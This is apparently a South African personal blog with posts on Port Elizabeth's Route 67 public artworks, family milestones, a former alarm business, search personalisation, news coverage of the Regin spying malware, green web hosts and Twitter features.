Just for you Howard

Images of some of the installations to be found on the Donkin Reserve. The Donkin Reserve forms part of Route 67.

Route 67 consists of 67 Public Art Works symbolising Nelson Mandela’s 67 years of work dedicated to the Freedom of South Africa and includes 67 steps leading up the second largest flag in Africa. The artworks were designed by local artists from the Eastern Cape. The route is proud celebration of our cities heritage and history. This is a must see stop for the whole family to walk and to enjoy. Guided Tours of Route 67 are available at the Donkin Visitor Information Office inside the lighthouse building.

Route 67 starts at the Campanile and climbs the staircase to Vuyisile Mini Market Square which is the centre of the City.

From the City centre the route continues through the staircase at St Mary’s Terrace, the experience of the route erupts in a celebration of colour, art and heritage that meanders up to the Donkin Reserve to the Great flag on top of the hill.

Route 67 forms part the greater Nelson Mandela Bay Arts Journey which includes a number of Art Galleries and different locations such as the Nelson Mandela Metropolitan Museum, the newly renovated Athenaeum Building, the Red Location Museum, Uitenhage Market Square and the artEC Art Gallery to name a few.

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Sample_DSC_0404 – Nelson Mandela on Voting Line. Voting Line: By Anthony Harris/ Konrad Geel. The life-size laser-cut steel figures form a symbolic voting line that evokes a memory of voters as they were seen in the country’s first democratic elections in 1994.

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Sample_DSC_0413 – Voting line figure

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Sample_DSC_0403 – Windward: By Anthony Coke. The shapes of these sculptural benches hint a Port Elizabeth’s nautical history while the title refers to the city’s popular name, the “windy City”.

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Sample_DSC_0399 – The Edward Hotel – Originally called the King Edward Mansions, this hotel was built in 1903 by Rochelle & Smith and owned by Palace Buildings, Ltd. and the architects being Jones and McWilliams. There were 120 bedrooms & sitting rooms and ground- floor suites for doctors and dentists, also a restaurant. Furnished or not. The style was described as “Old English” at the time but it is probably more correct to classify it as “Art Nouveau”. The open arcade in the interior is thought to have been a carriage way. It was one of the first buildings in Port Elizabeth to have a lift, which is still in operation today.

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Sample_DSC_0486 – The Hill Presbyterian Church: This is one of the numerous fine stone churches in the Hill area of Port Elizabeth. The architect was Frederick Molesworth Pfeil and the church was consecrated in 1865. The hall dates from 1896 and was designed by George William Smith, who was also responsible for the 1892 porch to the west.

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Sample_DSC_0477 – Whites Road Wall: By Mark Wilby in collaboration with Bongani Njalo, Bamanye Ngxale, Jason Olivier, Gabriel Chaponda, Siya Mboniswa – A collection of taxis climb forever up Whites Road. History is often shaped by momentous events, while cities with their alleys, streets and venues are formed by the layered rhythms of daily necessity. This rhythm of place, shaped by the everyday, becomes the song of the city.

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Sample_DSC_0475 – Whites Road Wall:

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Sample_DSC_0473 – The Donkin Reserve Pyramid and Lighthouse: The entire Donkin Reserve is a portion of land given in perpetuity to the residents of city for their use by Sir Rufane Donkin, who was the acting governor of the Cape. He supervised the landing of the British settlers when they arrived in 1820.
He also named the city Port Elizabeth after his beloved wife, Elizabeth, who had died in 1818 at Meerut in India. The pyramid on the Donkin Reserve was built by Donkin as a memorial to Elizabeth, and the brass plaque on the pyramid bears the words “To the memory of one of the most perfect of human beings who has given her name to the town below”. The lighthouse was built in 1861, but was taken out of service in 1973 because of the density of the surrounding city lights. The lighthouse keeper’s house, built in the same year, was designed by Frederick Molesworth Pfeil.
The Donkin Reserve has recently been extensively redeveloped. It has been re-landscaped and numerous sculptures and artworks – all part of Route 67 – have been introduced. The biggest national flag in the country is flown from the tallest flagpole in the country, which is 45 meters high. The changes were initiated by the Nelson Mandela Bay Development Agency and the architects were The Workplace.

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Sample_DSC_0463 – Untitled – Image taken from in front of the old Grey Institute over the lone female figure standing sentinel whilst looking across the Donkin Reserve and Algoa Bay. This figure forms part of Route 67 and was sculpted (cast) by Anton Momberg. She has no discernible features which is the way that artist Anton Momberg intended it.
The piece is intentionally untitled so rendering it as a conversation piece rather than a conceptually specific entity. The piece thus becomes a representation of all women – KhoiSan or Xhosa from the time when Dias first discovered Algoa Bay, the 1820 British Settler women, today’s modern women, mothers or workers of today. Encompassing all cultures, languages and forms she epitomises strong women.

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Sample_DSC_0437 – Untitled

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Sample_DSC_0419 – Piazza Mosaic by the NMMU (Nelson Mandela Metropolitan University) Arts Collective
This 470 Square metre mosaic, situated between the pyramid and the Great Flag celebrates the multi cultural, the heritages, the diverse histories and abundant fauna and flora that characterises the city and the province.

The following artworks are represented on the route:

1. Way Finding Markers: The Wayfinding Makers start at the Campanile the city and the Donkin Reserve to the Nelson Mandela Metropolitan Museum

2. Campanile Frieze: By Mkhonto Gwazela. A celebration of the indigenous heritage of the Nelson Mandela Bay and Eastern Cape area is sculpted through visual images set into a cast concrete curved beam.

3. Wall of texts: By Mkonto Gwazela. A written flow-poem engraved onto locally-sourced granite accompanies the Campanile Frieze and celebrates the indigenous and locally born contribution to arts and culture.

4. Talking Woman 1: By Lorinda Pretorius. The sculpture consists of multiple layers of painted glass to show a form passing thoughts and feelings about the past events that has led the city to where it is today.

5. Talking Woman 2: By Nompumezo Gubevu. Using colour glass, oxides and powders this female figure was created as a symbol of what women have that unites them rather than what divides them.

6. Talking Woman 3: By Anver Chaizzari. Maps from different times in Port Elizabeth’s history illustrate how people have been instrumental in the changing landscape. This is contained within the Women’s body, making her vehicle for the idea that many generations have lived and died in this area.

7-16. Identities: By Lubhi Mtathi. A series of colourful and evocative portraits that depict young South Africans from a range of cultural backgrounds are installed on the pillars underneath the Settlers Way flyovers.

17. Walk of Words: By a collective of crafters. A collaboration of artists used value words in different languages to represent the New South Africa and it’s prosperity as a democratic nation.

18. Bus Station Mural: By 4 Blind Mice. This mural is carefully constructed design that celebrates public transport and the daily journeys undertaken by the people of this city.

19-29. Banners linked to Red Location: This is a series of posters,showing ‘teaser’ sections of 10 of the works acquired to form the basis of the permanent collection of the new Red Location Art Gallery

30. Fishbone: By Imbono FJA Architects. The FishBone is an architectural element intended to visually anchor the old Jerry Street to Vuyisile Mini Square and encourage pedestrians to trace a historical path between the city and the harbour.

31. Conversations with the Queen: By NMMU Sculpture Collective. It is 1956 to 1965 and Nelson Mandela, Goven Mbeki and Raymond Mhlaba are in conversation with the Queen as Robert Sobukhwe and Steve Biko look on while this three way conversation unfolds.

32. Vuyisile Mini: NMMU Sculpture Collective. This piece forms a part of Conversation with the Queen.

33. 76 Youth: By a workshop collaboration, The artwork is a statement about the 76 generation and represents the spiritual journey undertaken by those who fought against oppression.

34. Chapel Street Crossing: By Mthetheleli Williams. A pattern of colourful paving bricks flow from all directions over the crossing in Chapel Street. This represents the gathering of masses that are voted in the 1994 elections.

35. Tower Sculpture: By The Workplace Architects. The Tower Sculpture acts as a beacon to announce the journey through the Donkin Reserve and responds to the surrounding elements to allow wind and light to bring it to life.

36. Mosaic Stairs: By Jane Du Rand, Nandipha Judy Mnono, Nombuso Erica Jacobs, Pumlani Kwayiyo, Zandile Bianca Snam, Mthetheleli Williams, Siyolo Nicollas Ketabahle, Bugalekaya Patrcik Loli, Mxolisi Malcolm Mandela, Mzwandile Matoto. The strairway is an experimental journey that starts in darkness and turbulence and progresss to a new dawn and explosion of colour, hope and new beginnings.

37. 34 Lights: Collaboration. Voting Queue and the Mosaic Stairs, telling a story about past, present and future.

38. Amphitheater Wall: By Leminah Chifadza, Kieth Vilahakis, Paula Paton. A public art experience, where humour, vibrance and colour meet the gritty nature of everyday street life through a graphic and illustrative interpretation of Port Elizabeth’s inner city ambiance.

39. Election Queue/Votes of the future: By The Workplace Architects. The Voting Queue represents the voting line that was formed at the 1994 elections. VOTES OF THE FUTURE. A second application on to the Voting Queue path, saw over 3 000 of Nelson Mandela Bay’s youth leave their mark as future voters.

40. Whites Road Wall: By Mark Wilby in collaboration with Bongani Njalo, Bamanye Ngxale, Jason Olivier, Gabriel Chaponda, Siya Mboniswa. History is often shaped by momentous events, while cities with their alleys, streets and venues are formed by the layered rhythms of daily necessity. This rhythm of place, shaped by the everyday, becomes the song of the city.

41. Fish Bird: By Mxolisi Dolla Sapeta. The Fish Bird is returning back to the Donkin to the ownership of this transforming site.

42. Piazza Mosaic: By the NMMU ceramic collective. This 470 square meter mosaic, situated between the Pyramid and the Great Flag celebrates the multi-cultural, the heritage, the diverse histories and abundant fauna and flora that characterises the city and the province.

43. Great Flag: Trident Support. The biggest South African flag sits within the Arts Journey in Port Elizabeth as a point in space that marks the Donkin Reserve as an important public space and celebration of the Port Elizabeth city’s heritage. The flagpole is 65m high, the second highest flagpole in Africa, and the flag itself is the size of a tennis court. The flag gets raised and lowered every day by the Prince Alfred’s Guards.

44. Voting Line: By Anthony Harris/ Konrad Geel. The life-size laser-cut steel figures form a symbolic voting line that evokes a memory of voters as they were seen in the country’s first democratic elections in 1994.

45. Windward: By Anthony Coke. The shapes of these sculptural benches hint a Port Elizabeth’s nautical history while the title refers to the city’s popular name, the “windy City” GRAFFITI by specific entity.

46. River Memory: By Duncan Steward. The artwork evoked the streamlet that once trickled down to the sea before it was land-filled, making way for what is now Donkin Street (circa 1805s).

47. Untitled: By Anton Momberg. The piece has been left untitled with the features and clothing on the female figure deliberately neutral, as the work is meant as a conversation piece rather than a conceptually specific entity.

48. Welcome Carpet: By Lisbet Demeyer. As it title reflects, the Quartz Carpet and bead artwork is a welcoming celebration and luxurious experience hinting at the cultural context of the Eastern Cape and leading diverse local cultures and visitors on to the Donkin Reserve.

49. Lighthouse Mosaic Moments: Nombuso Jacobs, Sinethemba Joy Mabope, Zandile Snam, Nkosoxolo Vegani, Ntombizanele Nojo Ko, Andiswa Manyota, Tuso Mosia, Patrick Loli, Malcolm Medela, Siyolo Ketababile and Jane Du Rand. The symbolic interpretation of the tiled pieces is a celebration of symbols and icons within Port Elizabeth and its surrounds, referencing various stories, personal ideas and journeys.

50. Garden: By Patrick Watson – Garden design with indigenous plants. Mark Joubert – Planting, save and rescue work.

51. Harmony in nature: Dominique Gulliot in collaboration with Pumlani Kwayiyo, Mxolisi Malcolm Madela, Jane Du Rand and team. This old optical technique used by the likes of Leonardo Da Vinci and Michelangelo, is a combination of optical illusion and mathematics.

52. The seated couple: By Nico Swart. Two minimalist figures carved from Oregon Pine are seated on high chairs overlooking the Anthenaeum foyer. They welcome guests and encouraging conversation in this social space.

53. Anthenaeum Collection: Various Artists. An exhibition of large works was curated by the Anthenaeum to complement the style and grand scale of the building walls with no restrictions placed on subject matter or content. A total of six artworks were selected by artists in different stages in their careers.

54. artEC Mural: Bongani Njalo/ Gabriel Chaponda. This mural is like a mirror being held up to the residents of central and greater Port Elizabeth. It reflects the diversity of cultural, racial and ethnic backgrounds within the society.

55. artEC Sculpture Courtyard: By George Kockott. The basic concept and underlying icon woven into this piece is one of waves. Waves of one kind or another tie us all together and roll onwards through history in the making of contemporary times.

56. 67 Beaded Quotes: a collective of bead workers. This series of artwork are direct response by 30 beaders from the Eastern Cape to 67 qoutes by Nelson Mandela over the last 67 years. Each resultant beadwork adds to a larger experience and abstracted narrative of South Africa’s challenges.

57. Tree of life: Work in progress

58. Constitutional Court: Work in progress

59. Trinder: Work in progress

60. Trinder Bench: Work in progress

61. Rose Street: Work in progress

62. Map: By Shepherd Xego. A lino cut artwork by Shepherd Xego presents his own perspective and journey of route 67. Drawing on architectural features, activities and public artwork, Shepherd guides the visitor through his birds-eye imaginary experiences of the city.

63. South End Glass Sculpture: By Lorinda Pretorius. A sculpture created to commemorate the people who were forcefully removed from the old South End by the Group Areas Act under the Apartheid laws.

64. Uitenhage Untitled: Work in progress. It has been proposed that a bust of Uitenhage-born composer Enoch Sontonga be installed in front of the fountains on this site.

65. Nkosi Sikilele: By The Matrix Architects. The Uitenhage Market Square features a tribute to the composer of Nkosi Sikelele’ iAfrica, Enoch Sontonga, who was born in Uitenhage.

66. Children’s Memorial: Jane Du Rand, R.H. Godio School, Ilinge School, Nomathamsanqa School, Mngcunube School. The Children’s Memorial is conceptually linked to the Donkin Mosaic Moments, and through this, a subtle connection is established between these two sites.

67. Guernica: By community collaboration. This work bears eloquent witness so the ongoing painful struggle of rural communities dealing with the AIDS epidemic. It is a lament for the dead, for the injustices of our health system and the staggering grief experience in Eastern Cape villages today. On show at the Red Location Museum.

Binky’s 20th

Can you believe it? Binky turned 20 on Friday 9 October 2015!

How do you know your children are grown up? They order croissants for birthday breakfast and ask for Strawberry Margaritas at lunch.

Oh well at least Feisty Fred is still a little baby.

Brittany turns 20

Brittany turns 20

Brittany turns 20 and Fred celebrates

Brittany turns 20 and Fred celebrates

Brittany turns 20 - Live every moment

Brittany turns 20 – Live every moment

Terminator Alarms

In the dim and distant past (circa 1989) Michael and I were involved with the installation of Burglar Alarms and our marketing strategy was one of being completely different so we marketed a range of wireless systems – manufactured locally in Durban. Pierre Halle was the developer.

In an indication of how demand, competition and advancing technology can drive prices down the price that we sold a basic system for then (R2 500) is still the same basic price for an installed burglar alarm system today – some 25 years later.

We learnt one big lesson – at that time no other burglar alarm company would monitor the burglar alarms of a competing company forcing us to establish our own monitoring division with one HUGE BUT – the monitoring software that we installed would recognise and display each alarm signal received by installer, allowing us to monitor other companies burglar alarms and (most importantly) phone out and communicate with the customer as X or Y Company.

It took a while for other companies to catch on allowing us to catch up.

And the reason for this reminiscence?

One of the guys who worked for us, Anton Swanepoel, established his own company – NSA Burglar Alarms – and recently sent me this image with the cryptic question; “Can’t remember why this rings a bell?”

Terminator Alarms

Terminator Alarms

I see that Pierre Halle is still involved with security manufacturing and has a company called Roboguard – an early warning system. Those keypads and universal transmitters look eerily similar to the Terminator’s break glass detectors.

The day the fourth wheel left us

The picture of a heavily pregnant Glynnis leaning against the car in Redhouse before we left for the maternity ward at the hospital is a very clear one that stays with me. Her pregnancy with Philip was joyous and strange with his demands for curry, and foot rubs for his mother.

Back at home for the first time we looked at each other and it suddenly hit us – we were now, for the next quarter century, going to be responsible for another human being. His future in this world was in our hands, his education, his manners, his interaction with his fellow man, everything. But, the first order of business was to learn how to change a nappy. And, that is how the last 23 years started and flew by to today.

We were by his side each step of the way and watched as he took his first steps, ate soil, spoke his first word – ‘light’, collected snails as pets, went to pre-school, junior and high school, learned to swim, sail and row, played in smarties and peppermints rugby, got his nose bloodied and broken in Borders vs Daypots, put on that white blazer for the first time, became captain of rowing, first girlfriend, first broken heart, first hangover, first car, degree, honours, first job.

You begin to think that the achingly exquisite joy of having children will never end. Sharing the wonder of their growing up lulls you into a false sense of being and, as much as you publicly proclaim that you want your freedom back, that you would finally like to indulge only yourself, that it would be nice if you had a growing bank account, you secretly wish that your family unit would never change. Yes, that day comes too soon when they leave the nest and it is fraught with mixed emotions during the build up.

For us that fateful day was 31 January 2015 when Philip left to start his new life in Johannesburg.

We packed his car, delayed the inevitable turning of the key to start his engine and started crying as he hugged Brittany, Glynnis and I goodbye. With a wave of his hand he turned left at the end of the driveway and left our home. From now on he will only ever return as a visitor, a guest and slowly move even further away until that day he marries and starts his own family. Then Granny Glynnis, Grandpa Alan and Aunty Brittany can only pray that we will be in the lucky position to then pour our love into grandchildren, nieces and nephews.

Young new parents can turn to books to read the mechanics of life – how to make a bottle, change a nappy, various ways to discipline a child, the myriad dread diseases that fate has in store for you, what to eat and so on.

And yet, those books never prepare you for real life – no book can assuage your deep fear that you will completely and utterly fuck up your and your child’s life with one mistake, no book can ever describe the utter emotional slavery that binds you to a child as you inadequately prepare yourself for that fateful day when they will leave to fly on their own. No book or fellow adult is ever able to articulate to a parent just how frustrating it is to slowly allow your child to make mistakes and how soul destroying it is to judge and point those mistakes out as you flounder in a sea of self doubt hoping that your lessons will be accepted and meaningfully contribute to your child finding their way in a strange, exciting and scary world.

No book can ever describe the soaring joy that a parent feels when a child achieves – it can be as small as those first tottering steps, or as large as passing accounting honours first time, it can be as secret as knowing that your child is ‘just like you’ or your partner, it can be with a sense of pride when other people remark on how well brought up your child is or how handsome or beautiful. Joy caresses your being at the strangest times – watching your child sleep, hugging the hurt away and knowing that you have that power to fix, knowing that you have equipped your child to face the world and even seeing how your child’s friends flock to him or her as they radiate good sense and love.

Maybe the joy and pride is selfish ego stroking as you realise that you “Oh Mighty Parent” are the one responsible for making your child the bright, intelligent and loved human being that now stands before you.

Yes, we have all learned many lessons and forgotten many more along the way. We live in eternal hope that those small minds that used to hoover stuff up like elephant sized vaccuum cleaners also hoovered up the good lessons that we forgot. Anyone have a child mind filter that will filter out those utterances – “Hello Aunty, my Mom says that you stink like old cat pee!” or “Where is the broom that you flew in on Granny?”

Nothing in the world can prepare you for the day that you realise that life has torn a member of your family away from you and slapped you with the wet bloody end. Whoever came up with the term “allow them to fly away from the nest” deserves to have ostriches gifted with flight crapping on their head for eternity.

It has only been a few hours now and already each of the three devastated left behind family members have gone into Philip’s room and just dumbly stood there in the detritus, walked out only to be drawn back to stand in dumb mute agony as we realise that the fourth wheel has truly gone.

How do we shelter and protect him now?

What do we have to look forward to? No more; “What time is supper, dude?” or lying awake at night praying he will get home safely, no more feeling useful just being there for questions and vocal discourse, no more need for a big house…. Maybe we should put chickens in his room? Maybe we should just leave it like it is in the vain hope that he will come whizzing up the driveway and say that it was all a horrible mistimed April Fools joke?

Will we ever be free of the misty eyes and lumps in our throats as we think of the massive change our lives have just experienced? How painful it has become to just say his name without tearing up!

No-one ever told us that parenting would be this hard and that it would force us to plumb the depths of our emotions as we pray for his safety on that long journey to the big smoke.

We hope that he will be happy and grow into all that the first 23 years of his existence indicate. We pray that he will be successful and treat all his fellow employees and clients in the manner that we as a family strive to do. We pray that he will find happiness and love. We pray that we can share in some of his triumphs and know that we will always be there when life gets him down.

Somehow the words “I love you” now seem so inadequate in describing the passing of a 23 year old chapter in life!

Philip outside his alma mater - NMMU

Philip outside his alma mater – NMMU

Three different browsers, three different search results

And you thought that SEO was easy.

These days we have any numbers of browsers installed on our machines and searching on them often shows up different results.

According to Google’s Matt Cutts there are three main factors that influence this:

  • Personalisation – whether you are logged in or not
  • Different browsers support different functionality
  • Bucket Testing – different browsers might get different cookies

Cookies could also influence different results between different browsers as well as maybe even presenting different results from a different earlier algorithm.

To personalize your search results, Google uses many sources, the most important one being your search history. You can pause or even delete the search history, but you may find it useful for future reference.

You can temporarily disable Google Personalized Search by adding &pws=0 in the address bar at the end of a Google search URL, e.g. https://www.google.co.za/search?q=Server+Observer&pws=0

Using different machines, IP’s, Google accounts and the like bring up even wider anomalies than the simple three searches that you see below. We used one machine and three browsers – one of the browsers (Arora) has never logged in to a Google Account, we logged out of Chrome and stayed logged in to Google on Firefox.

MyPE Chrome

MyPE Arora

MyPE Firefox

Regin – the new computer spying bug

A leading computer security company says it has discovered one of the most sophisticated pieces of malicious software ever seen.

Symantec says the bug, named Regin, was probably created by a government and has been used for six years against a range of targets around the world.

Once installed on a computer, it can do things like capture screenshots, steal passwords or recover deleted files.

Experts say computers in Russia, Saudi Arabia and Ireland have been hit most.

It has been used to spy on government organisations, businesses and private individuals, they say.

Researchers say the sophistication of the software indicates that it is a cyber-espionage tool developed by a nation state.

They also said it likely took months, if not years, to develop and its creators have gone to great lengths to cover its tracks.

Sian John, a security strategist at Symantec, said: “It looks like it comes from a Western organisation. It’s the level of skill and expertise, the length of time over which it was developed.”

Symantec has drawn parallels with Stuxnet, a computer worm thought to have been developed by the US and Israel to target Iran’s nuclear program.

That was designed to damage equipment, whereas Regin’s purpose appears to be to collect information.

Via BBC News – Regin, new computer spying bug, discovered by Symantec.

What others are saying about Regin:

Symantec says:

An advanced piece of malware, known as Regin, has been used in systematic spying campaigns against a range of international targets since at least 2008. A back door-type Trojan, Regin is a complex piece of malware whose structure displays a degree of technical competence rarely seen. Customizable with an extensive range of capabilities depending on the target, it provides its controllers with a powerful framework for mass surveillance and has been used in spying operations against government organizations, infrastructure operators, businesses, researchers, and private individuals.

It is likely that its development took months, if not years, to complete and its authors have gone to great lengths to cover its tracks. Its capabilities and the level of resources behind Regin indicate that it is one of the main cyberespionage tools used by a nation state.

As outlined in a new technical whitepaper from Symantec, Backdoor.Regin is a multi-staged threat and each stage is hidden and encrypted, with the exception of the first stage.  Executing the first stage starts a domino chain of decryption and loading of each subsequent stage for a total of five stages.  Each individual stage provides little information on the complete package. Only by acquiring all five stages is it possible to analyze and understand the threat.

Regin also uses a modular approach, allowing it to load custom features tailored to the target. This modular approach has been seen in other sophisticated malware families such as Flamer and Weevil (The Mask), while the multi-stage loading architecture is similar to that seen in the Duqu/Stuxnet family of threats.

Infection vector and payloads

The infection vector varies among targets and no reproducible vector had been found at the time of writing. Symantec believes that some targets may be tricked into visiting spoofed versions of well-known websites and the threat may be installed through a Web browser or by exploiting an application. On one computer, log files showed that Regin originated from Yahoo! Instant Messenger through an unconfirmed exploit.

Regin uses a modular approach, giving flexibility to the threat operators as they can load custom features tailored to individual targets when required. Some custom payloads are very advanced and exhibit a high degree of expertise in specialist sectors, further evidence of the level of resources available to Regin’s authors.

There are dozens of Regin payloads. The threat’s standard capabilities include several Remote Access Trojan (RAT) features, such as capturing screenshots, taking control of the mouse’s point-and-click functions, stealing passwords, monitoring network traffic, and recovering deleted files.

More specific and advanced payload modules were also discovered, such as a Microsoft IIS web server traffic monitor and a traffic sniffer of the administration of mobile telephone base station controllers.

Stealth

Regin’s developers put considerable effort into making it highly inconspicuous. Its low key nature means it can potentially be used in espionage campaigns lasting several years. Even when its presence is detected, it is very difficult to ascertain what it is doing. Symantec was only able to analyze the payloads after it decrypted sample files.

It has several “stealth” features. These include anti-forensics capabilities, a custom-built encrypted virtual file system (EVFS), and alternative encryption in the form of a variant of RC5, which isn’t commonly used. Regin uses multiple sophisticated means to covertly communicate with the attacker including via ICMP/ping, embedding commands in HTTP cookies, and custom TCP and UDP protocols.

Conclusions

Regin is a highly-complex threat which has been used in systematic data collection or intelligence gathering campaigns. The development and operation of this malware would have required a significant investment of time and resources, indicating that a nation state is responsible. Its design makes it highly suited for persistent, long term surveillance operations against targets.

The discovery of Regin highlights how significant investments continue to be made into the development of tools for use in intelligence gathering. Symantec believes that many components of Regin remain undiscovered and additional functionality and versions may exist.  Additional analysis continues and Symantec will post any updates on future discoveries.

Re/code says:

The researchers said Regin has been used in what appears to be an ongoing spying operation that started in 2008, stopped suddenly in 2011, and then resumed in 2013.

The campaign was carried out against government organizations, businesses, researchers and private individuals. About 100 Regin infections have been detected, the researchers said, with most — a combined 52 percent — in Russia and Saudi Arabia. The remainder have occurred in Mexico, Ireland, India, Afghanistan, Iran, Belgium, Austria and Pakistan. No infections have yet been detected in the U.S. or China.

Symantec was first made aware of Regin after customers discovered parts of it and sent the code for analysis. “We realized there was more to what was sent us than was readily apparent and went back to investigate further,” said Liam O’Murchu, one of the researchers. Symantec security software can now detect it, he said.

The quality of Regin’s design and the investment required to create it is such that it was almost certainly made by a nation-state, said O’Murchu. But asked to speculate which nation-state, he demurred. “The best clues we have are where the infections have occurred and where they have not,” he said in an interview with Re/code. “We know it was a government that is technically advanced. … This has been a huge spying campaign dating back at least to 2008 and maybe even as early as 2006.”

It doesn’t take much of a leap to wonder out loud if the U.S. National Security Agency or the Central Intelligence Agency, perhaps working with Israel, might be the source, especially given the list of countries targeted. However, there are other possible sources, including China.

Green Web Hosts

With the present load shedding occuring in South Africa we are all acutely aware of the need to conserve energy.

Unfortunately not all of us have the deep deep pockets that a company like Google has when it establishes it’s data centers. For example, in March 2009, Google purchased the Summa Mill from Finnish paper company Stora Enso and converted the 60 year old paper mill into a data center with an initial investment of €200 million. The first phase of the project was completed in September 2011. More than 2,000 individuals working for 50 companies (mostly Finnish and from the local area) contributed to the project.

In August 2012, Google announced an additional €150 million investment in Phase II of the data center, which involved the restoration and conversion of an Alvar Aalto-designed machine hall.

The facility is one of the most advanced and efficient data centers in the Google fleet, making use of a high-tech cooling system, which uses sea water from the Bay of Finland, reduces energy use and is the first of its kind anywhere in the world.

The Google Data Center in Hamina, Finland

In large data centers the typical server will waste up to a third of the energy it uses before any of that energy reaches the parts that do the actual computing. Servers lose the most energy at the power supply, which converts the AC voltage coming from a standard outlet to a set of low DC voltages. They then lose more at the voltage regulator, which further converts the power supply’s output to the voltages required by microchips. Designed with low efficiency standards in order to save on initial cost, traditional servers end up costing much more in electricity in the long run.

Theoretically, web hosting companies that utilise renewable energy and work to make their data centers efficient will save huge energy costs and also save from reusing or recycling.

Most green data centers will use a combination of wind or solar power and the evaporative power of water for cooling.

As a committed ‘greenie’ we went looking for web hosts that had a stated policy about being green (or a link to that policy) from their INDEX Page – if the policy was hidden somewhere else sorry for you.

The green web hosts ones that we highly recommend have a policy of NOT using Renewable Energy Credits and have actually got their hands ‘dirty’ (clean) by directly utilising wind or solar power.

The following web hosts have a stated green web hosting action plan:

Kalk Bay Enlightened Hosting: Asof the 1st of January 2008 the Kalk Bay server network began running on 100% sustainably produced electricity from renewable sources. Kalk Bay say; “We are commited to caring for our Mother planet and providing a service that does no harm to Mother nature. By hosting on renewable energy our sites do no harm to the environment and atmosphere. We are commited to ethical and sustainable practices in every aspect of our work. We encourage organic farming, recycling, renewable energy.” Asof 2011 Kalk Bay were certified carbon neutral.

AISO.net: AISO’s data center and office is powered by on-site solar panels within two arrays to generates electricity. This grid is owned and operated by AISO to power the data center and office. AISO boast that they are the first and only 100% completely solar powered, carbon free hosting company that does not use energy credits.

Ecological Hosting: As part of their mission statemnet Ecological Hosting state; “To enlighten the world to the reality of abundant energy supplies through the application of the most abundant (solar) and other renewable energy sources in the provision of services for the modern day phenomena that is the Internet.”

Solar Web Host: The datacentre utilised by Solar Web Host is in California, east of Los Angeles. The data center is powered by 120 solar panels which generate all the electricity. The Solar is owned and operated by the Datacentre to power California’s first and only solar-powered hosting company.

iWeb: iWeb’s Montreal data centers are 98% powered by hydroelectricity produced at just 4 grams of CO2 per Kwh, 56% less CO2 than wind energy and less than 1% than that of gas and coal. Free Cooling in the data centers uses ambient temperatures that are below freezing for around a quarter of the year.

Ilisys: Australian based Ilisys uses 100% Green Power to run their data centre. All power used is renewable energy sourced from the sun, wind, water and waste, all of which limits greenhouse gas emissions in its generation. Ilisys says; “Australia is the highest per capita emitter of greenhouse gases amongst developed nations. And it is increasingly likely that we will be held collectively accountable for our growing greenhouse debt. It makes sense for us to minimise our impact on the environment.”

Planet Mind: Since 1997, Planetmind Internetworks has specialized in the hosting, design, and development of customized, interactive Web sites tailored to the needs of the ecologically- minded online community. Servers are powered by 100% green, renewable solar power, provided by a grid-intertied solar array at their office building in Nederland, Colorado.

Beanstalk Solar Hosting: Beanstalk Solar Hosting is powered by a 3.7 kilowatt solar electric photovoltaic (PV) system installed by Adobe Solar of Colorado. This grid-tied solar PV system has been mounted on the roof just above the Beanstalk Solar Hosting servers and is made up of (20) 185 Watt Mitsubishi Solar Panels and (1) Frontius Solar Inverter. Taking advantage of Colorado’s 300+ days of sunshine, this solar PV system is expected to produce an average of 410 Kilowatt-hours (kWh) of electricity per month. Over the next 30 years, this system will use the free energy from the sun to offset more than 189,000 lbs of CO2, equivalent to driving 220,000 miles, according to Greg Koss owner of Adobe Solar. In addition to providing clean renewable solar electricity, the system is expected to provide savings of over $48,000 in electrical costs at today’s rates.

iPage: iPage has reduced its carbon footprint by purchasing enough Renewable Energy Certificates (RECs), to offset our energy use by 200%

Green Geeks: GreenGeeks claim that they are the industry’s leading green energy web hosting provider putting back 3 times into the grid through wind energy that they consume. Based in Los Angeles, California Green Geeks services customers from over 150 countries.

Is your web hosting company green? Add your comments below.

Dear Twitter – Apply the KIST Principle

In the automotive world marketers place all kinds of bling on and into vehicles nearing the end of their life cycle. Limited editions, mag wheels, go faster stripes, red leather seats, carpets on the dashboard, oranges on the aerial………

Twitter recently announced a slew of new features:

Instant Timeline: To help ease Twitter’s new user retention problem, users will be presented with a full stream of content quickly during the on-boarding process — an Instant Timeline — even if they haven’t followed anyone yet.

Timeline Highlights: Twitter is testing a “While you were away” feature in the mobile app.

SEO & Google: Twitter says it is doing more to increase the amount of traffic it attracts from Google and search engines.

DM Features: Twitter will give users the ability to share and discuss tweets privately via Direct Message.

Native Video: Currently Twitter’s native motion picture options are limited to animated GIFs, six-second Vines and video from publishers and major brands, but in the first half of 2015 it will give users the ability to record, edit and upload video on the network.

Quick Promote: Twitter is in the early stages of testing a streamlined ad campaign launcher for marketers who don’t have the time or inclination to dig into the complexities of the regular ad platform.

These features are horribly similar to an end of life cycle motor vehicle feature set:

Instant Timeline: To help ease the purchaser onto the road all vehicles come with a full tank of petrol

Timeline Highlights: A sexy voice prompt will welcome the driver back into the vehicle.

SEO & Google: A snazzy paint job to get the driver noticed.

DM Features: An exclusive owners only lounge at each dealer.

Native Video: A free DVD player.

Quick Promote: All bakkies come with a free canopy.

Yes, you know it – we have all bought a new vehicle that has been around for ages based on one or more of the above only to see a brand new version reach the dealer a few months later.

The questions have to be asked; Do you really know why you use Twitter? Are you getting a good return on your investment? Will the new features make you engage more?

Personally I find it tiresome to wade through my timeline – hence my determination to not follow anyone, choosing rather to engage via @notifications and usine tools to curate hashtags – like #PortElizabeth which presents the PortElizabeth hashtag on ONE page from a host of social media sites.

Adding more features demands a greater amount of time and smells a lot like adding bling.

KIST – Keep It Simple Twitter.

Share Tweet via DM

Why you should know that I fixed a water leak the other day

Generating content for a few busy WordPress web sites, whilst ensuring that the core, plugins and themes are up to date can sometimes be challenging.

One of the key tools in our arsenal is a plugin called Infinite WP. With Infinite WP I can keep all sites linked to it up to date without visiting the WP Admin panel of each individual site. A virtual assistant that doesn’t go on strike or demand a larger slice of the ‘small’ pie every year.

When Infinite WP loses contact with the client plugin installed on individual WordPress sites it throws out a message in the Infinite WP console that goes like this; “Houston we have a problem!” Well, actually not really those words but you get my meaning anyway?

One of my busier sites recently lost comms with the Infinite WP console so like a good little boy off I went to see what could be the problem. At this stage of the conversation you need to know that almost 95% of the content on this particular web site is posted via WordPress’ handy little ‘Press This’ function or via the WordPress App on my Android Tablet so I you will appreciate that I don’t have the WP Admin open all the time.

